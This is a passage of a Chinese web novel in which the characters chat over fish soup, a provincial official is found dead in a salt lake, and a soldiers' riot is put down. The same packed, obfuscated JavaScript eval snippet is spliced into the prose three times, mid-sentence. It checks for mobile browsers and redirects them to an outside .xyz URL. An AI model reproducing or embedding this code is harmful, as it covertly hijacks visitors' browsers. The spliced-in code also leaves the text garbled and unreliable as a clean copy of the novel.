火盆上架了一口汤锅,在打坐之前,韦祎要负责给柳爚从缸里捞出条鱼来,把鱼杀了去掉内脏和鱼鳃鱼鳞,洗干净放进锅里。 “剩下的我来,你别调味!”下一步之前,柳爚制止了他。 “合着我只负责干脏活。”洗了两遍手,鱼腥留味坚毅。 “待会做好了你不喝啊?等你喝的时候就知道各有分工才是对的。” “堂堂柳家名门小姐,竟看坊间小说话本?” 打坐状态的韦祎说话有点慢,像是半睡半醒,很容易分辨。 “怎么不看,柳家的名门小姐都看。” 柳家有七姐妹呢,一个开始看,一定会都看。 “我还写过两本!” “咳咳!”刚才说了,唠嗑可以,不要讲鬼故事,但是也不要讲这么劲爆的消息! 小说话本是下流事,只有流氓小子街头无赖才敢光明正大的去摊子上买。上层人私下里热衷,但明面上要十分唾弃。 “你怎么了,别激动啊,回头我拿给你看看,请壹通帮我画了插图呢,他的画功确实好。” “咳!” 能让罗晏同意画插图的,不是文绉绉干巴巴的小说,一定带点“有趣的”内容。 把眼睛睁开,打坐的事先放一边,缓一缓。 “什么时候的事?” “我没嫁人那会儿,有闲空儿,之后就来这里了,哪有时间编故事?” “卖来赚钱?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822346|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “《君心传》和《京华道姑》,就这两本。” 这两本确实赚过不少钱,在京城风靡了好些年,名气大得连韦祎都知道! 从四萬那里拿过来看过,一眼就看出插画是罗晏画的,故事精彩,文笔不俗,当然,某些场景的描写也不俗。 当年京城的众家老小学究,翩翩公子们若是知道了这两本艳书是他们心目中纤尘不染的圣洁大才女所写,会气得吐血。 “舅舅知道吗?” “他知道啊,当时我对书中的部分内容不太懂,就找我爹帮忙润色。” “他帮你写?”幸好没有接着修炼,这话要惊掉下巴。 “我爹说,自诩清高的老学究,哪个不养着八房年轻小妾,生怕自己没儿子断了种,满口圣人君子的读书人,私下里喝花酒玩花样,京城大才女写两本小说怎么了?你有意见啊?” “不敢,不敢。有幸拜读,写得好!”韦祎竖起大拇指。 “写这两本算什么啊,像二姑母那样扬名天下才是了不起。”即将变寡妇,不用再帮着丈夫处理政务了,悠闲的生活马上回来,可能会重新提起笔。 “你们写的书绝非同一类型。” 一段时间以前,罗易突然问韦祎,“有一位叫柳不寒的,是《算学启蒙》、《算学初级》、《算学中级》、《算学大成》的作者,坊间盛传他是你们柳家的子侄,这是真的吗?” “是我娘。”韦祎回答。 “令堂!真的吗?” “真的,我骗你干嘛?” 柳不寒确实是一位“扬名天下”的著名作者,她编撰的一大套算学书籍是全国各地官学、私塾的通用教材。 不过,她也没在“柳不寒”三个字的后面打括号标注个“女”字,所以大家都猜测这位算学家是名门柳氏的子弟,想不到是个女的,更想不到她其实是“韦夫人柳氏”。 那一大套算学书籍是她早年旧作。 十年前,柳不寒上奏章给皇帝,建议他在国子监开设物理课。 既然是柳不寒的“建议”,言辞一定不客气。 举了很多例子,比如各国都有避火毡,大齐国竟然不会造,还说西域已经造出一种机器,把装满火药的铁桶向敌军抛射过去,杀伤力极大,但大齐没有。 如此众多,就差告诉皇帝不重视科技就要亡国了! 皇帝深以为然,他不好意思问“物理”是什么,自行理解为“万物运行之理”,调查了国内无人能教授这门课。 柳不寒只好自己动手,搜集古籍,新编整理,编撰为教材,启发年轻人研学。 韦祎十五岁刚回家的时候,柳不寒起笔,《格物新编》十八册,《格物史》四册,现在写完开始初校,运气好的话,说不定明年能够完工。 一共二十二册书写了十年,够快的,柳不寒独自工作,没人与她配合。 就柳不寒的脾气,谁敢来搭档啊? 有教材,到排除各类阻力真正开设课程,再到培养出专业人才来,中间隔着十万八千里的距离呢。 配合完成作品不容易。罗晏这位知名业余画手有整整一列表的合作写手,他对每一位合作写手都十分不满,而每一位写手也都对罗晏不满,互相提出百八十个意见,拖稿、赶稿,周而复始,听起来就不太愉快。 开始了,眼前就有一位。 “我跟你说,虽然壹通的画功不俗,但他是真的拖啊!而且,他画姑娘还成,画男人不成!我让他画英俊少年,他画的少年神情油腻,举止猥琐,怎么商量都改不过来!画姑娘,他喜欢圆脸,长腿,丰满些的。我的书呢,被他画得,里面清修数十年的坤道师太竟然珠圆玉润,换身衣裳就得是富甲一方,整个道观的人都像是夫人小姐们过家家假扮的,日子看着就不错,怎么衬托出女主角反叛道门的决心!” 这就头痛了,往日,罗晏逮住韦祎,就会开始抱怨他的历任合作写手,来往信件都逃不过。现在可好,出现了一位写手,来抱怨画手,两头听抱怨。 “小爚姐,帮我参谋件事,如果一个人经常沦为两头听抱怨的角色,是不是说明这个人是一位很好的朋友。” 柳爚搅着鱼汤思考:“嗯,让我想想,灵均找你抱怨我了?他怎么说的?” 72. 午后倦 “等等。”韦祎先起身走到厨房旁边回廊的尽头,果然找到了正走来的罗易,故意放重脚步怕吓着她:“逸希,你也不睡?” 罗易和韦祎一起走到了鱼汤锅旁坐下,跟柳爚打个招呼。 “没睡着,来厨房找点吃的,看你们在说话,不好打扰。” “不用客气,正好有鱼汤喝。”柳爚说,“半夜打铁造牢房,吵到你们了。” “那位公主是我们带来的,是我们麻烦了您啊。” “停!不要客套了,大半夜的,没人看。”韦祎制止她们两个。 “那,请问子隽,根据你们刚才的话题,是符怜也告诉你,我让她对你撒谎这件事?” 罗易和柳爚两双大眼睛在火盆的光亮中炯炯有神充满期待地看着韦祎。 深吸一口气,“别看了,无论他们是说了还是没说,我不会告诉你们的。” “看到了吧,因为你不会随便说出去,所以大家都会把事情告诉你。”柳爚等着说这句话呢,“但是你连等都没等就立刻把我的计划告诉逸希,是不是说明,你与她的关系进展很快。” 沉默了,韦祎突然警醒,着实应该认真思考,最近确实有事就立刻去找罗易说,这意味着什么? 趁着韦祎发呆,罗易凑近柳爚,展开衣袖半挡住脸:“要我猜,还没有发展到男女之情,更像是母子之间。” “哦!真的吗?我二姑母特别忙,他从小就被送到了海外的孤岛上,成长的过程中缺少女性长辈参与。” “你们知道我能听见。”韦祎说。 “姑娘们在说私房话呢!”二人异口同声,“很明显。” “没办法,听力是被动技能。”韦祎摇摇头,“你们想说我缺少母爱吧,我没有缺少母爱!” “那你就是把逸希视为爱人。”聊到八卦,柳爚连鱼汤都可以放得下。 否定也不对,不否定也不对,“现在我觉得,你们两个,还是彼此客套一些更好。” “想都别想,在你的要求下,我们已经成为好朋友了。” 只能放任两位女士继续聊自己小时候的八卦,韦祎半合上眼,开始打坐。 “你有没有用上巫术之类的方法?” 第二天,韦祎还是没想明白,于是去问罗易。 “巫术?所为何事?” 这就有点不好意思了,竟然能坚持问下去,更让韦祎怀疑罗易是用了巫术,“我会对你说我本来不会跟旁人说的事情。” “喔!”罗易立刻回答:“我若是会巫术,一定先咒死住在东宅的那几位,你得往后排一排。” 见韦祎困倦且困惑地转身告辞,也很困倦的,已经坐在被子中的罗易又把他叫住,“说不定就是因为我不仅友善而且总能快速解决困难。” “你快速解决困难的办法就别提了。”最不顺眼的就是罗易每次解决困难的办法了,“每个人对我都很友善,但他们中的大部分人嗯……算了。” “他们对你友善是因为你是权贵阶层啊,当然,我对你友善,也有一部分这个原因。” “真是意外!你把我当权贵,提出让我改行吃软饭?” 一年给三千两白银,比自己的全年收入都要高,如果我缺钱就会动心,韦祎想。 “事实啊子隽,我们结婚,至少在我们两个的经济收入上大有好处。” 罗易实在瞌睡,改说严肃的,“我们都是与大多数正常人持相反观点的人,比如世人都认为女子要恭顺内敛,但是我和你从来不会这么想。世人认为只要自己有权有势或者比别人强壮就可以去贪赃枉法欺压弱小,但你不会,在这一点上我还没有做到令我自己满意。还有其他方面,你不会因为别人伤害你,你就立刻十倍报复,你甚至可以为部下的背叛感到惋惜,你不介意学生对你兵刃相向,这些让我很欣赏,所以我愿意对你付出更多的友善。不过,你解决困难的能力也着实令我火大。” “呃……” 突如其来的长篇赞扬,不知道该说些什么了,话都被罗易说了,若是没有最末尾一句会更打动人心。 “需要我告诉你吗,你现在,连耳朵都是红的。”准备睡觉的罗易趁势补刀。她就不信面颊飞红的韦祎现在回屋子去能睡得着,连续好几天都是被韦祎拖着熬夜,报复的时候到了! 大家都困,昨晚没睡觉,连韦祎也没有打坐修炼多久,一大早摸黑赶去城北门外。站在太阳还没有升起的晨露与凉风中等了一炷香,长史带领着队伍到达,继续站着,寒暄一炷香,终于进了城门。 回府的马车上,柳爚不停的打喷嚏,真着凉了。 罗易不用去接长史,但她一大早出门去处理褚先生和当地镖局的那点猫腻,朱愈在谈当地的药材,忙完了褚先生那头,罗易又去朱愈处看了看,与那群商人一同吃了午饭才回到郡守府。 洗漱了刚要睡,韦祎就进来了。 把韦祎打发走,拉被子躺下。 嗐,脸皮真争气,有人在的时候绝不会红,等人走了开始发烫,现在自己也心跳加速瞪眼睡不着,伤敌八百自损一千,而刚才那位不速之客睡不着可以打坐。 “我这是在做什么。” 难不成,是真的动心了? 韦祎回房去,歇息到了晚饭后。 晚上也有宴席,中午的宴席是长史与栾凤、柳爚、韦祎、云攸纾等几个人一起吃的,比较简单。而晚上的宴,组织华阳郡的所有高级官员一起作陪州长史,排场大,隆重,女眷和闲杂人等不准出席。 要邀请韦祎晚上赴宴,韦祎坚决不去,从早上开始就一直假装自己风寒,反复咳嗽打喷嚏,想溜,到了下午终于让那位长史相信了。同时,导致柳爚认为她患风寒是被韦祎传染。 栾凤在外头吃酒席,柳爚着凉了在歇息,客人们的晚饭又是单独分装好了送到屋里去。 主菜是一道烤猪肉,先蒸后烤,猪皮酥脆,猪肉滑嫩,重点是好大一碗!一碟子辣椒爆炒猪肝、一碟蔬菜杂炒、一碗蒸瘦肉丸子,一碗野韭猪血汤,配干干的宽面条。 很容易分析出,最近后厨杀猪了。 好腻的一套晚餐!仅存的一道素菜,是杂炒,一块一块的,怕里面放了茨菇,韦祎没敢碰。 把猪血汤倒进干面条里和一和,吃了一小块烤肉,感到满口都是油,不再碰那一大盘切得方方正正的肉,猪肝和瘦肉丸子做得还算不错。 晚饭宴席后,深夜,终于安顿下来的丕州长史在栾凤的陪同下去“监牢客房”面见了那位芜夙公主,这次韦祎必须跟去,还要把风寒伪装到底,假咳。 州长史和郡守一样是从四品的官员,平级。 栾凤要搅乱长史和芜夙的见面,防止他抢先了解情报。芜夙也不配合,冷笑挂在脸上,根本不理人。 平静持续到了第二天的下午。 柳爚是真风寒,所以韦祎和罗易去看望她,正说话,一位府内官急匆匆跑进来。 “夫人,不好了!长史大人出事了!尸体飘在东边的盐湖里!” 当听到“出事了”的时候,韦祎还想,能出什么大事?可别是又要拉我去作陪吃饭啊!结果真是大事,死了! “知道了。”柳爚看了看身旁的二人,“郡守大人呢?” “大人已经赶去现场了。” “韦将军会过去,备马。”柳爚吩咐,“下去吧。” 府内官退下,屋内三人面面相觑。 “要我去?”韦祎一不留神就被安排了。 “难不成我去?我都这个样子了!”柳爚说。 怎么回事,长史带兵来,有独立的驻地,想要突破五百兵卒的防守去杀他们的长官,难比登天,驻地那座宅子都进不去。 想了一小会儿,“不会是灵均吧?” 若这是栾凤做的,柳爚也跟着觉得耻辱。 理智分析:“有可能。”又补充道:“就算不是他,看他昨天的表现,也会引起怀疑,说不定有人想让凶手是灵均。” “查案我不在行,也不像你那么了解丕州。”韦祎也跟着紧张起来,但他搞不定这事。 罗易自告奋勇:“带上我,不一定能帮上忙,但多一个人出主意不是坏事。” “那就劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859667|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦逸希。”柳爚说,“我这风寒患的不是时候,吃了药,明日应该差不多好了,有什么情况,晚上回来商量。” 罗易迅速去换了一身男装,加上领路的府内官一共是五个人一同出门,带上了云攸纾和钱氿。 云攸纾的身份是保密的,柳爚和栾凤可以知道,却不能直接说出来,更没有介绍给别人。昨天一起见过了丕州长史,他在官场上混迹多年,大概能猜出几分来。 无所谓,反正他都死了。 “你去看死人为什么带上我!” “我去哪儿你去哪儿,没得商量。”韦祎说,“你是想自己上马,还是被我揪上去?” 拽住马鞍上的把手,努力跨上马背。 西部马比东部的马稍高些,所以上马的动作眼瞅着就变得更困难。 昨天中午,想装病赶紧离开的韦祎没有成功,被带去一同吃了午饭。 丕州长史在城门处见到了韦祎就颇为激动:“韦将军,几年前就听闻大名,下官久仰、久仰!”伸长了胳膊作揖,诚意十足,“劳驾韦将军迎接,下官不胜荣幸!” 没有事先做准备的韦祎,根本没了解过这位长史姓甚名谁!想着今天自己跟来只是跑个龙套。 后退半步,想要躲起来:“哈……长史大人说哪里话呢,太客气了……折煞晚辈,折煞晚辈。” “几年前”就知道了韦祎的大名,那当然是稞国之战。 太平盛世,哪有几个武将能捞到开疆拓土的功劳?偏偏这功劳落到了韦祎头上,偏偏他是唯一一位经历了稞国之战之后仍活着的高级将领。 知名度远超本人预估。 对待栾凤就不同了,丕州长史拿出了一副上州长官的派头,旁观者看着都不爽,别说早就一肚子怨气的栾凤了。 “故意挑拨离间?”韦祎小声对柳爚抱怨。 “正是。”柳爚太清楚栾凤压着邪火是什么表情,就是现在这样。 “州里为何要打压灵均,丕州州府是军制,灵均是文官,威胁不到州府的政绩。” “军制的地方也有文官,更何况,将要与燕国开战,断断续续打个十来年都有可能,军制的官员更有前途,灵均也动心想要去州府。” “真是……就不能安安稳稳的?” “不好。他不喜欢人人都当他是柳家女婿,想在京里做些什么得通过我首肯,真是气死他,他得有独立的势力才能提携他栾家的后辈。” 怜悯、惋惜,几分无奈。 柳爚谈起栾凤是很平静的,看不出她有一丝的愤怒。 她不是将要让栾凤去死,她已经用几年的时间看栾凤慢慢死去。 “柳家的女婿是不好当,有生命危险呢。”韦祎说。 “爹当年就不中意灵均。不过我坚持,他就不会强迫我改变主意。”柳爚回忆着:“他说,有他在,有家里在,我大可以试一试,说不定我就是对的。” 柳卞对后辈没的说,他不仅对自家女儿女婿自家外甥好,他对所有孩子都挺好,包括其他亲戚朋友家的孩子,包括他的门生,包括包括国子监那一大堆学生。 “灵均常常抱怨,我爹偏心你,抱怨你运气好。我不认同,这绝不是偏心或者运气好就能决定的。” 韦祎依稀记着,当年愿意去南征,是因为自己与承亲王有些交情,觉得那位承亲王文韬武略一表人才,意气风发又老成稳重,是个好的储君人选,所以跟随他去南征稞国建功立业。 柳卞对韦祎要转出金吾卫去南征的事情不赞同也不反对,当韦祎发现了承亲王的蠢事之后搅和一番,带着麻烦回到京城,舅舅也毫无怨言的接手了这个麻烦。 之后就很少回忆起那一年了。 虽然韦祎在稞国的全程是误打误撞,但最终获得好处的,是“柳党”。韦祎本人扬名立万不说,皇帝动手清理了所有跃跃欲试图谋储君之位的成年皇子,年幼的,柳家血脉的云攸绚成为储君的机会大大提升。 得到了这么大的好处,很难想象整件事并非事先谋划。 偏偏就做到了。难道这就是柳卞的神奇之处? 73. 白沙盐 “若是有人声称他因为一次意外之举,获得了天大的好处,你会信吗?” 快到盐湖了,云攸纾突然勒马停下来,说他要做好心理准备才能去到尸体附近,不然就会晕过去。走在后面的钱氿差点连人带马撞上云攸纾,大力抓住缰绳,马前蹄高高扬起,非常不满地发出嘶鸣声,好歹停了下来。 走在前面的韦祎背对他翻了个白眼,勒马休息,罗易停在他身边。 罗易反问:“什么好处?这人又是如何利用这份好处?” “扬名天下。没用上。” “你在说你自己和稞国之战。”罗易拆穿,“拐什么弯啊?你不好意思说出来?” “我都不好意思说出来了,你还要说出来?” 罗易竟然立刻就猜到,她是怎么看出来的?韦祎的马很有趣,往后退了一步。 “要不,我们假装我刚才没有猜出来?”罗易催马上前一步。 “那倒是不用,作答即可。” 在云攸纾和钱氿的视角里,韦祎带着马不停的往后退,罗易催马一直向韦祎逼近。 云攸纾:“他们在做什么?” “小孩子不要看。”钱氿回答。 “先问问你,你是谋定而动,或是见招拆招?” “被迫的。”韦祎答,“他真的叛国了,我总不能跟着他一起吧。” “那我信,既然你说了是意外。” “按照从政的逻辑,应该是,这件事有可能是我这个最终获得好处的人谋划的,故意抓他的错处去害他落马。” “就算是你故意找到他的错处,又怎么样呢?” “卑劣太过。” “卑劣?难道你认为你做的事情本身就卑劣吗?我不赞同,再退一步,假设那位承王爷根本没有叛国,是你们陷害他,这也没什么。”罗易说,“重要的是,你们成功了。” “喂,你相信我不是因为你相信我,而是因为你不在乎事情的真相?” “你被平焕传染了吗?消停点。”罗易觉得很好笑,瞪他,这位韦将军委屈巴巴的样子挺有趣。“正解是,我虽然不在乎事情的真相,但我还是信任你,可以了吗?” “这……这个答案还差不多。” “你再这样下去,我就要用对待平焕的方法对待你了。”估计韦祎是故意装的,但在罗易的世界里,最好只有一个平焕和一个韦祎,这两个人都挺难搞,多了可就遭罪了。 “我听到你们说到我了,你们在说我坏话吗?”云攸纾夹一下马肚子,向前挪了几步,插在韦祎和罗易的正中间。 “怎么会呢,平焕歇息好了吗?歇好了我们就出发,咱们第一次去案发现场破案子,一定很有趣。”罗易安抚他,伸长了胳膊过去摸一摸他的头。 云攸纾很享受自己和逸希姐姐看起来更亲近,一副炫耀的表情扬起下巴。“你也想要这样吗?”罗易冲着韦祎挑眉,用眼神发出问询。 韦祎立刻摇着头退开,用眼神保证自己绝不再学云攸纾了,幼稚起来怪恶心。 既然云攸纾已经做好了心理准备,几人直奔目的地。 事实上,这位小王爷并没能做好心理准备。 “你这也不是第一次啊!你在东海那艘船上已经见过了为数不少的死人,这里只有一个死人飘在湖上,死得挺干净,你就不要把脸埋在我背上了,不闷吗?” 下马后,栾凤和几个幕僚就站在沙滩上,衙役们在附近集结,拉开戒严的阵势。 栾凤他们也刚到不久,尸体还飘在湖中央没有打捞。 远远看见湖中央有个横陈的黑影,云攸纾抓住韦祎,紧贴在他的后背上。 被一个接近成年的小伙子这么紧密地贴着,他的脸正埋在两处肩胛骨的中间,呼出的热气渗进衣裳,徘徊在脊骨附近,这感觉真是诡异。 “你们就这么看着,不救救我吗?” 罗易摇了摇头,钱氿也跟着摇头,他甚至还抬起了胳膊用袖子比划。 “就算要断袖也不会跟这位小祖宗断。”韦祎微笑。 “韦子隽你说什么?” 很神奇,竟然把韦祎给放了,大力推了他一把。随后,谨慎地保证自己的眼睛不往湖面看,绕到韦祎面前来,“你是断袖?” “我不是。”韦祎无奈道。是你非要抱着我,反过来怀疑我是断袖,真不好伺候。 云攸纾又是掸衣裳又是擦手,离韦祎远远的。 “就算我是,你也不用这样吧。” “你离我远点!” 旁边还有两位在看戏,我为什么要和这熊孩子吵这种幼稚的问题,“这样吧,你去那边待一会儿,你看,盐湖的风光多好,湖面像镜子一样。”韦祎说,“钱氿你去陪着他。” 心中暗想,既然那么讨厌断袖,现在有个真断袖陪你呢。嗯,虽然钱氿未必是断袖。 盐湖的风光确实不错,华阳郡踏青最佳选择之一。 湖面是湛蓝色的。 此时是中州的秋日,干爽晴朗,天空中一片云都没有,湖水映着天,就是湛蓝色,站到湖边去,能够映出整个人清晰的倒影,一丝波纹也无,白色的细沙砾围绕着整个盐湖,没有杂草,玉琢银装。 盐湖里面没有鱼也没有水藻,所以清澈见底,并且不会溺死人,浮力比海水还要大,不会水的人掉进去,可以平躺着浮在水面上。 这一切让湖中央飘着的死人更惹眼。 “我本就计划着明天或者后天来这边的盐湖看一看,现在算提前完成计划。”罗易说。 “如果不算湖中间飘着的那位,以及湖边这一大群衙役。”韦祎在自己的假设中抹掉这群人,“好像是一次不错的秋日活动。” “我听说这儿平时有很多人来玩,坊间盛传这个盐湖水可以治疗银屑病、脚气、疥疮甚至疱疹,所以往常都挤满了各式不穿衣服的老头子。今天难得一个人都没有,所以说,有死尸也不算什么。” “你才来了几天,从哪儿知道的?” “朱愈在谈药材的事儿,我们听当地药铺老板抱怨的。” “脚气、疥疮、疱疹?” “对的。” 两人不约而同地看向了盐湖一角,背对着尸体,正试着用手拨水面的云攸纾,还有正前方,脱了衣服裤子准备下水捞尸体的一群衙役。 摇摇头,“幸好你告诉我,不然我还想去问他们捞尸体的要不要帮忙。” “千万不要,都会传染。”罗易悄悄拽住韦祎的剑鞘。 “我们不去告诉平焕?” “我以为他看到有尸体就不会摸水面,当我看到他在摸水面时已经晚了。”罗易心情复杂地看着那边,“既然他已经泡了这里的水,我想还是不要告诉他真相,毕竟传说盐湖能治病,说不定不会染上呢。” “那你今天不要再抓他的手了。”韦祎说,出于安全和健康考虑。 这句一出口,看见罗易一脸怪笑,韦祎心道不好。 “嗟哉!子隽这是在建议我离其他男性远一点吗?”罗易说,“如果忽略一下那具尸体,以及那边那两位,我们这算是第一次单独出来约会!” “徐公古墓那次不算吗?” “那就是第二次,我们的约会定律是附近有尸体。”事发突然,罗易也愣了一会儿,“看来是有人同意了要和我交往啊!” “然也。”韦祎故作镇定,点点头,“我们在长史大人的死亡现场聊这个,似有不敬死者之嫌。” “他活着的时候你也没有敬他,你知道他姓甚名谁?” “不知。我要补充说明一件事。” “请讲。” “方才建议你今天不要触摸平焕确实是为了健康考虑,绝无干涉你生活方式的意思。” “就这?这也值得你单独声明?” “我还要郑重声明我不是断袖呢,所以,也没有那么郑重。你可以放开我,我们去询问下案情,我保证我不摸湖水。” 松开抓着剑鞘的手,“请便,平焕观察期没过之前我都不会碰他了,回去开一副清毒的药方子骗他喝几天,如果你得闲就帮我想想有什么借口可以用。” 不得闲,而且是两个人都不得闲,这位死掉的丕州长史大人没有墓里躺着的徐公那么让人省心。 “你都知道了有老头子来这泡澡,还计划着赏景?” “说不定是我为了来这赏景,杀了个人,扔在湖里,把泡澡的都吓跑,方便我赏景。” “嗯,这话可别让那边查案的听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872001|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见。” “灵均,忙呢?” 栾凤在招呼人捞尸体,浮力太大反而不容易定向移动,衙役们已经泡在池子里把尸体滚来滚去翻了好几圈,移动了没几尺。 “子隽来了?”他早就看见了韦祎这四个人在附近,“罗姑娘也在。” “栾大人好,我来看个热闹。”罗易上来打招呼。 “长史大人是真死了吗?不是说在这个湖里死人活人都能飘起来。” “是死了,你看,脸朝下飘在湖面上,就算本来没死这么长时间也呛死了。本来死在湖边上,上午来泡池子的人以为他也是来泡澡,跟他一起泡了一上午,把他给挤到中央去了。” “泡澡的人都吓跑了,这话是谁说的?” “那边盐田的伙计,都看见了。”栾凤咬牙,“都看见了也不报官,就干看着。” “还有盐田。” “是啊,看见了斜对岸的水车没有?”栾凤苦笑,往那边指。 “我记得华阳产出的是官盐。” “正是,白沙盐,除了供应本郡,还供应给京畿一带。” “我的天哪,灵均!你怎么不早写信告诉我不能用白沙盐。”听完这句话,韦祎觉得胃里翻滚起来。 罗易在旁边悻悻,东海郡晒海盐,本地人不需要买外地的盐。 “我试过很多方法了,什么卖票,什么引水做汤池子的,都没用,不让他们泡,当天就能跑去郡守府门口躺着去。” 这盐湖,泡过了皮肤病,泡过了尸体,还在汲水晒盐。 极目远眺,斜对面,看似很远的地方,有五台轮式水车、码头台、四四方方的晒盐田和盐堆,不细看还以为是湖边的白沙,沙堆之外的湖边孤零零立着一排工房。 码头台子上正站着好几个拿着铲子,拿着耙子的盐田工,凑在那里看热闹。 验尸的过程韦祎和罗易也去围观,尸体上只有一道伤痕,在左胸处,一处和手指头差不多粗的血洞,仵作测量,这个血洞是被一个前细后粗的细锥子捅的,伤口很深,一定淌了大量的血。 尸体的外衣被扒掉,没有鞋子,脚后跟上有一点拖拽产生的伤痕,断了最下边的一根肋骨。 断骨和擦伤都是死后所致,猜测是歹人运送尸体时造成的。 若把尸体面朝下抗在肩上或者横在马上面进行移动,就会因为尸体本身的自重压断最靠近腰部的肋骨。 “一击毙命,这里是抛尸现场。” “长史大人是武官出身,虽然年纪大了,但对付几个毛贼绝无问题,做这事的人一定是高手。”栾凤转过头来对韦祎说。 “别看我,不是我干的。” “我没说是你。”栾凤失笑,“怎么提起高手两个字,子隽就套到自己身上去?” 罗易:“如何能确定这里是抛尸现场,就算是有大量的血迹流在湖里,上午那么多百姓来这里戏水,血迹早就被搅乱散开了。对面的盐工可有看见尸体是何时被抛在此处?” “他们早起上工时,尸体就在了,夜间没听到什么动静。” 远处一个穿上等衙役服装的人打马飞奔而至,滚下马来冲到栾凤等人面前:“大人!不好了!汤饼街大宅的五百兵卒暴动了!您快回去调兵吧!” “怎么回事!” “不知道是谁,把长史的死讯传给他们,他们说昨夜里长史独自与您一同去了郡守府审囚犯,一直未归,您嫌疑最大,他们拿了兵器往郡守府去了,说要把您捉起来送到州府去受审!” “荒谬!”栾凤大怒,“上马,你拿我的令牌去号令华阳防军集结,我们回去!” 上马之后,又调转马头对着韦祎,“子隽,劳烦你与我一同回去,我郡防军战力有限,恐怕不能敌定沙郡的精锐,得有个能镇住场子的将军在。” “何谈劳烦,我带上平焕,这就去。” 等栾凤疾驰离开,“钱氿!” 钱氿快步走过来,到了尸体旁边,云攸纾害怕自己待着,藏在钱氿的背后也要跟过来。 “你看看这尸体。” 仵作和几个衙役、捕头还留在这守着尸体,所以,韦祎、罗易、钱氿三人对视一眼苦笑无言。 这伤口看起来可真是熟悉啊! 74. 血手印 捕头和仵作都说了这个作案凶器十分奇怪,说是平时纳鞋底子的锥子,不像,哪有这么长的锥子?说是刀剑,更不像,没有这么细的刀剑。 这是什么呢?难不成是什么江湖杀手的特制武器?捕头已经把思绪延申到了前些日子看的武侠小说里。 “罪过,罪过。”钱氿骑马飞奔的过程中忏悔道。 “罪过个屁,他去杀州长史干什么?” 这玩意是钱氿和肖丰的合作作品,周冲的那副假肢。 别出心裁,在假肢的钩子里安装了一把尖细短剑,当时是为了逗周冲开心,跟他说,断了手也不影响战斗力嘛! 真是不影响战斗力,不愧是武学上的天才人物,这么快就派上了用场! 钱氿:“我的意思是,虽然丕州长史大人已经是个看起来足有七十岁的老头子,即使不被杀可能也活不了多久,但你看他昨天早上对待您的态度,显然是还热心官场呢,结果就这么死在一个年轻人手里,真是令人惋惜,尤其那个武器还是我做的,有一种我间接导致他死亡的负罪感。” “你都这么想了,我是不是应该更有负罪感啊!虽然长史老头很烦人,但是他死了是因为我没有早早把那个倒霉傻子处理掉!”韦祎跟着抱怨。 “钱大哥,你也不知道长史尊姓大名?”罗易听来听去,发现没有任何一个人说出来长史究竟姓什么,代称已经变成了“老头”,插话提问。等会儿可能要处理暴动的士卒,如果到那时候都不知道长史的尊姓,真不利于安抚情绪。 “罗小姐,这不能怪我,昨天早上他根本没有自我介绍啊,如果他介绍了我一定能记住。” “他昨天早上介绍过他自己叫什么,跟我打招呼的时候说的,叫……呃,他叫……”韦祎当时又困又冷又尴尬,哪有心思记下来? “中郎将,他对着您介绍,您都没记住,我怎么可能记得住?” “平焕记得吗?” “不知道,太困了,我昨天早上一直在马车里。”云攸纾立刻摇头。 “你们连他叫什么都不想记起来,就不要为他的死惋惜了,都死了我们还不知道他姓甚名谁,越来越可怜了。” “等会儿我们追上灵均,问问。” 听了半路韦祎和钱氿的唉声叹气,“很难想象二位将军曾是沙场战将啊。” 钱氿出身西南边境军,南宁国那边与大齐有一点疆域冲突一直悬而未决,小战不断,能在那里当上军官,当然上过战场杀过人。韦祎就更不用说了。 很快,罗易就看见了。 因为云攸纾骑不快,他们四个人一直也没能赶上在前面飞奔的栾凤等人。 等他们到达郡守府的时候,远远看见栾凤站在郡守府大门前,正在说些什么,手拿兵刃的丕州长史属下兵卒不知道受了什么教唆,根本听不进去,一边吵嚷一边逼近,华阳的防军拦不住。 绕到侧翼,一个为首的丕州军官一把推开拦着他的华阳兵卒,挥刀冲栾凤砍去。 “谁敢造次!”钱氿气势十足地大喝一声,就在他身旁的罗易被震到耳朵,吓得一抖,“哎呀,罗小姐我不是故意吓你。”钱氿赶忙小声道歉,既然已经吸引了注意力,钱氿又小声提醒,“中郎将,上啊。” 要砍栾凤的那位丕州军官也就只往钱氿这边看了一眼,继续要砍栾凤,韦祎一边小声抱怨:“你喊的你让我上?”一边飞身而起,乌木剑冲出鞘中,被韦祎反握在手里,掷出去,正中那位丕州军官的脖颈。 整剑没入,那位军官仍旧站在那里,没了生机,韦祎落在栾凤的面前,将他挡住,顺手把插在丕州军官脖子上的剑往前一拉,割断了那位军官的半边脖颈,把剑收回手中。 鲜血喷涌而出,人缓缓倒地。 当然是死了。 